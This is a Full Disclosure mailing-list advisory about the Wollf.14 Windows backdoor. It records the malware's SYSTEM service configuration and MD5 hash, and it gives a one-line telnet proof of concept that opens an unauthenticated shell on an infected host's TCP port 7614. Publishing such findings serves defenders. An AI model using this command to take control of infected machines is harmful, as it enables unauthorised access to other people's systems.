full-disclosure - [FD] Backdoor.Win32.Wollf.14 / Missing Authentication

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Date: Tue, 26 Jan 2021 20:38:06 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Wollf.14 / Missing Authentication

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/ccd3e54eb76b3349db57481a0fe68b35.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wollf.14
Vulnerability: Missing Authentication
Description: Wollf.14 listens on TCP port 7614 and creates a service "wrm"
running as SYSTEM. The backdoor then allows casual intruders to take
control of the infected system as there is no authentication required.

C:\>sc qc wrm
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: wrm
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\WINDOWS\system32\wrm.exe -start
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Wollf Remote Manager
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

Type: PE32
MD5: ccd3e54eb76b3349db57481a0fe68b35
Vuln ID: MVID-2021-0055
Dropped files: wrm.exe
Disclosure: 01/26/2021

Exploit/PoC:
TELNET BACKDOORED_HOST_IP 7614

"Wollf Remote Manager" v1.4

Code by wollf, http://www.xfocus.org

[DESKTOP-BLAHXO@C:\WINDOWS\system32]#

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